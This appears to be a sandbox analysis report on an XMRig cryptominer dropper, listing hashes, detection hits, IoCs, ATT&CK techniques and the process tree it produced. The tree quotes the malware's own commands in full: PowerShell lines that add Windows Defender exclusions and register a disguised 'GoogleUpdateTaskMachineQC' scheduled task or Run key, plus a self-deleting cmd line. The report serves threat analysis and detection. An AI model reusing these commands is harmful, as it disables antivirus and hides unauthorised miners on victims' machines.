xmrig | 67fb42345c7c1d330bea4fe6e0d8695cc715af98dec4fbac9cac330831052642

max time kernel
1694s
max time network
1797s
platform
windows10-2004_x64
resource
win10v2004-20231222-en
resource tags

arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
submitted
24/01/2024, 17:21

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General

Target

qM5GMXBk6hJE6Y5e (25).exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 3244 created 3520	3244	qM5GMXBk6hJE6Y5e (25).exe	49
PID 3244 created 3520	3244	qM5GMXBk6hJE6Y5e (25).exe	49
PID 3244 created 3520	3244	qM5GMXBk6hJE6Y5e (25).exe	49
PID 3244 created 3520	3244	qM5GMXBk6hJE6Y5e (25).exe	49
PID 4340 created 3520	4340	updater.exe	49
PID 4340 created 3520	4340	updater.exe	49
PID 4340 created 3520	4340	updater.exe	49
PID 4512 created 3520	4512	conhost.exe	49
PID 4340 created 3520	4340	updater.exe	49
PID 4340 created 3520	4340	updater.exe	49

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 31 IoCs

miner

resource	yara_rule
behavioral22/memory/1752-87-0x00007FF618870000-0x00007FF619064000-memory.dmp	xmrig
behavioral22/memory/1752-93-0x00007FF618870000-0x00007FF619064000-memory.dmp	xmrig
behavioral22/memory/1752-97-0x00007FF618870000-0x00007FF619064000-memory.dmp	xmrig
behavioral22/memory/1752-99-0x00007FF618870000-0x00007FF619064000-memory.dmp	xmrig
behavioral22/memory/1752-100-0x00007FF618870000-0x00007FF619064000-memory.dmp	xmrig
behavioral22/memory/1752-102-0x00007FF618870000-0x00007FF619064000-memory.dmp	xmrig
behavioral22/memory/1752-106-0x00007FF618870000-0x00007FF619064000-memory.dmp	xmrig
behavioral22/memory/1752-108-0x00007FF618870000-0x00007FF619064000-memory.dmp	xmrig
behavioral22/memory/1752-110-0x00007FF618870000-0x00007FF619064000-memory.dmp	xmrig
behavioral22/memory/1752-112-0x00007FF618870000-0x00007FF619064000-memory.dmp	xmrig
behavioral22/memory/1752-114-0x00007FF618870000-0x00007FF619064000-memory.dmp	xmrig
behavioral22/memory/1752-116-0x00007FF618870000-0x00007FF619064000-memory.dmp	xmrig
behavioral22/memory/1752-118-0x00007FF618870000-0x00007FF619064000-memory.dmp	xmrig
behavioral22/memory/1752-120-0x00007FF618870000-0x00007FF619064000-memory.dmp	xmrig
behavioral22/memory/1752-122-0x00007FF618870000-0x00007FF619064000-memory.dmp	xmrig
behavioral22/memory/1752-124-0x00007FF618870000-0x00007FF619064000-memory.dmp	xmrig
behavioral22/memory/1752-126-0x00007FF618870000-0x00007FF619064000-memory.dmp	xmrig
behavioral22/memory/1752-128-0x00007FF618870000-0x00007FF619064000-memory.dmp	xmrig
behavioral22/memory/1752-130-0x00007FF618870000-0x00007FF619064000-memory.dmp	xmrig
behavioral22/memory/1752-132-0x00007FF618870000-0x00007FF619064000-memory.dmp	xmrig
behavioral22/memory/1752-134-0x00007FF618870000-0x00007FF619064000-memory.dmp	xmrig
behavioral22/memory/1752-136-0x00007FF618870000-0x00007FF619064000-memory.dmp	xmrig
behavioral22/memory/1752-138-0x00007FF618870000-0x00007FF619064000-memory.dmp	xmrig
behavioral22/memory/1752-140-0x00007FF618870000-0x00007FF619064000-memory.dmp	xmrig
behavioral22/memory/1752-142-0x00007FF618870000-0x00007FF619064000-memory.dmp	xmrig
behavioral22/memory/1752-144-0x00007FF618870000-0x00007FF619064000-memory.dmp	xmrig
behavioral22/memory/1752-146-0x00007FF618870000-0x00007FF619064000-memory.dmp	xmrig
behavioral22/memory/1752-148-0x00007FF618870000-0x00007FF619064000-memory.dmp	xmrig
behavioral22/memory/1752-150-0x00007FF618870000-0x00007FF619064000-memory.dmp	xmrig
behavioral22/memory/1752-152-0x00007FF618870000-0x00007FF619064000-memory.dmp	xmrig
behavioral22/memory/1752-154-0x00007FF618870000-0x00007FF619064000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
4340	updater.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral22/memory/1752-87-0x00007FF618870000-0x00007FF619064000-memory.dmp	upx
behavioral22/memory/1752-93-0x00007FF618870000-0x00007FF619064000-memory.dmp	upx
behavioral22/memory/1752-97-0x00007FF618870000-0x00007FF619064000-memory.dmp	upx
behavioral22/memory/1752-99-0x00007FF618870000-0x00007FF619064000-memory.dmp	upx
behavioral22/memory/1752-100-0x00007FF618870000-0x00007FF619064000-memory.dmp	upx
behavioral22/memory/1752-102-0x00007FF618870000-0x00007FF619064000-memory.dmp	upx
behavioral22/memory/1752-106-0x00007FF618870000-0x00007FF619064000-memory.dmp	upx
behavioral22/memory/1752-108-0x00007FF618870000-0x00007FF619064000-memory.dmp	upx
behavioral22/memory/1752-110-0x00007FF618870000-0x00007FF619064000-memory.dmp	upx
behavioral22/memory/1752-112-0x00007FF618870000-0x00007FF619064000-memory.dmp	upx
behavioral22/memory/1752-114-0x00007FF618870000-0x00007FF619064000-memory.dmp	upx
behavioral22/memory/1752-116-0x00007FF618870000-0x00007FF619064000-memory.dmp	upx
behavioral22/memory/1752-118-0x00007FF618870000-0x00007FF619064000-memory.dmp	upx
behavioral22/memory/1752-120-0x00007FF618870000-0x00007FF619064000-memory.dmp	upx
behavioral22/memory/1752-122-0x00007FF618870000-0x00007FF619064000-memory.dmp	upx
behavioral22/memory/1752-124-0x00007FF618870000-0x00007FF619064000-memory.dmp	upx
behavioral22/memory/1752-126-0x00007FF618870000-0x00007FF619064000-memory.dmp	upx
behavioral22/memory/1752-128-0x00007FF618870000-0x00007FF619064000-memory.dmp	upx
behavioral22/memory/1752-130-0x00007FF618870000-0x00007FF619064000-memory.dmp	upx
behavioral22/memory/1752-132-0x00007FF618870000-0x00007FF619064000-memory.dmp	upx
behavioral22/memory/1752-134-0x00007FF618870000-0x00007FF619064000-memory.dmp	upx
behavioral22/memory/1752-136-0x00007FF618870000-0x00007FF619064000-memory.dmp	upx
behavioral22/memory/1752-138-0x00007FF618870000-0x00007FF619064000-memory.dmp	upx
behavioral22/memory/1752-140-0x00007FF618870000-0x00007FF619064000-memory.dmp	upx
behavioral22/memory/1752-142-0x00007FF618870000-0x00007FF619064000-memory.dmp	upx
behavioral22/memory/1752-144-0x00007FF618870000-0x00007FF619064000-memory.dmp	upx
behavioral22/memory/1752-146-0x00007FF618870000-0x00007FF619064000-memory.dmp	upx
behavioral22/memory/1752-148-0x00007FF618870000-0x00007FF619064000-memory.dmp	upx
behavioral22/memory/1752-150-0x00007FF618870000-0x00007FF619064000-memory.dmp	upx
behavioral22/memory/1752-152-0x00007FF618870000-0x00007FF619064000-memory.dmp	upx
behavioral22/memory/1752-154-0x00007FF618870000-0x00007FF619064000-memory.dmp	upx

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4340 set thread context of 4512	4340	updater.exe	111
PID 4340 set thread context of 1752	4340	updater.exe	115

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e (25).exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3260	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 28 IoCs

pid	Process
3244	qM5GMXBk6hJE6Y5e (25).exe
3244	qM5GMXBk6hJE6Y5e (25).exe
3868	powershell.exe
3868	powershell.exe
3244	qM5GMXBk6hJE6Y5e (25).exe
3244	qM5GMXBk6hJE6Y5e (25).exe
3156	powershell.exe
3156	powershell.exe
3244	qM5GMXBk6hJE6Y5e (25).exe
3244	qM5GMXBk6hJE6Y5e (25).exe
3244	qM5GMXBk6hJE6Y5e (25).exe
3244	qM5GMXBk6hJE6Y5e (25).exe
4392	powershell.exe
4392	powershell.exe
4340	updater.exe
4340	updater.exe
4340	updater.exe
4340	updater.exe
1520	powershell.exe
1520	powershell.exe
4340	updater.exe
4340	updater.exe
4512	conhost.exe
4512	conhost.exe
4340	updater.exe
4340	updater.exe
4340	updater.exe
4340	updater.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3868	powershell.exe
Token: SeDebugPrivilege	3156	powershell.exe
Token: SeIncreaseQuotaPrivilege	3156	powershell.exe
Token: SeSecurityPrivilege	3156	powershell.exe
Token: SeTakeOwnershipPrivilege	3156	powershell.exe
Token: SeLoadDriverPrivilege	3156	powershell.exe
Token: SeSystemProfilePrivilege	3156	powershell.exe
Token: SeSystemtimePrivilege	3156	powershell.exe
Token: SeProfSingleProcessPrivilege	3156	powershell.exe
Token: SeIncBasePriorityPrivilege	3156	powershell.exe
Token: SeCreatePagefilePrivilege	3156	powershell.exe
Token: SeBackupPrivilege	3156	powershell.exe
Token: SeRestorePrivilege	3156	powershell.exe
Token: SeShutdownPrivilege	3156	powershell.exe
Token: SeDebugPrivilege	3156	powershell.exe
Token: SeSystemEnvironmentPrivilege	3156	powershell.exe
Token: SeRemoteShutdownPrivilege	3156	powershell.exe
Token: SeUndockPrivilege	3156	powershell.exe
Token: SeManageVolumePrivilege	3156	powershell.exe
Token: 33	3156	powershell.exe
Token: 34	3156	powershell.exe
Token: 35	3156	powershell.exe
Token: 36	3156	powershell.exe
Token: SeIncreaseQuotaPrivilege	3156	powershell.exe
Token: SeSecurityPrivilege	3156	powershell.exe
Token: SeTakeOwnershipPrivilege	3156	powershell.exe
Token: SeLoadDriverPrivilege	3156	powershell.exe
Token: SeSystemProfilePrivilege	3156	powershell.exe
Token: SeSystemtimePrivilege	3156	powershell.exe
Token: SeProfSingleProcessPrivilege	3156	powershell.exe
Token: SeIncBasePriorityPrivilege	3156	powershell.exe
Token: SeCreatePagefilePrivilege	3156	powershell.exe
Token: SeBackupPrivilege	3156	powershell.exe
Token: SeRestorePrivilege	3156	powershell.exe
Token: SeShutdownPrivilege	3156	powershell.exe
Token: SeDebugPrivilege	3156	powershell.exe
Token: SeSystemEnvironmentPrivilege	3156	powershell.exe
Token: SeRemoteShutdownPrivilege	3156	powershell.exe
Token: SeUndockPrivilege	3156	powershell.exe
Token: SeManageVolumePrivilege	3156	powershell.exe
Token: 33	3156	powershell.exe
Token: 34	3156	powershell.exe
Token: 35	3156	powershell.exe
Token: 36	3156	powershell.exe
Token: SeIncreaseQuotaPrivilege	3156	powershell.exe
Token: SeSecurityPrivilege	3156	powershell.exe
Token: SeTakeOwnershipPrivilege	3156	powershell.exe
Token: SeLoadDriverPrivilege	3156	powershell.exe
Token: SeSystemProfilePrivilege	3156	powershell.exe
Token: SeSystemtimePrivilege	3156	powershell.exe
Token: SeProfSingleProcessPrivilege	3156	powershell.exe
Token: SeIncBasePriorityPrivilege	3156	powershell.exe
Token: SeCreatePagefilePrivilege	3156	powershell.exe
Token: SeBackupPrivilege	3156	powershell.exe
Token: SeRestorePrivilege	3156	powershell.exe
Token: SeShutdownPrivilege	3156	powershell.exe
Token: SeDebugPrivilege	3156	powershell.exe
Token: SeSystemEnvironmentPrivilege	3156	powershell.exe
Token: SeRemoteShutdownPrivilege	3156	powershell.exe
Token: SeUndockPrivilege	3156	powershell.exe
Token: SeManageVolumePrivilege	3156	powershell.exe
Token: 33	3156	powershell.exe
Token: 34	3156	powershell.exe
Token: 35	3156	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2536 wrote to memory of 2220	2536	cmd.exe	101
PID 2536 wrote to memory of 2220	2536	cmd.exe	101
PID 4392 wrote to memory of 1080	4392	powershell.exe	104
PID 4392 wrote to memory of 1080	4392	powershell.exe	104
PID 4340 wrote to memory of 4512	4340	updater.exe	111
PID 4312 wrote to memory of 3260	4312	cmd.exe	114
PID 4312 wrote to memory of 3260	4312	cmd.exe	114
PID 4340 wrote to memory of 1752	4340	updater.exe	115

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3520
- C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (25).exe
  "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (25).exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:3244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3156
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (25).exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4392
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:1080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Modifies data under HKEY_USERS
  PID:1340
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:1520
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:4512
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:4312
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    PID:3260
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  PID:1752
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:4924

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2220

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4340

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
632KB

MD5
b32d258e2f71823e02cc7b37e8a8bef8

SHA1
27447babebb3e8616c26cffbca344b6464b82970

SHA256
ea0e6a4be52df47950264e6e484a412260e81fa011121b6824352431c81efc76

SHA512
ea40959c5c84d98e01d6273d00f9efe1d307245b493aadf56bcf6c8aaa62c34923f68b9c3e26cca2b7d8628f5e4779226351eef7594117accb8594b204f2fe84

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
1.2MB

MD5
d0e629e384053f62f51999d4d6b5b52d

SHA1
8ab4f8e1ec7e8a242a7ec95e8a16ba3bbe0ba8c8

SHA256
d226635fa9f9c9750bb46fb6938348c73c3ee8b1d9494ab855a44fe1425fe31b

SHA512
66eeacf462ba0e93624962f1a7ed2b6c2d8ae1a0c15dea15a437e770e552b19fa3f85e8f241a7dc869bd436e139aa3455ab43c3b3591a1ac5edddb44921e28e0

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d42b6da621e8df5674e26b799c8e2aa

SHA1
ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

SHA256
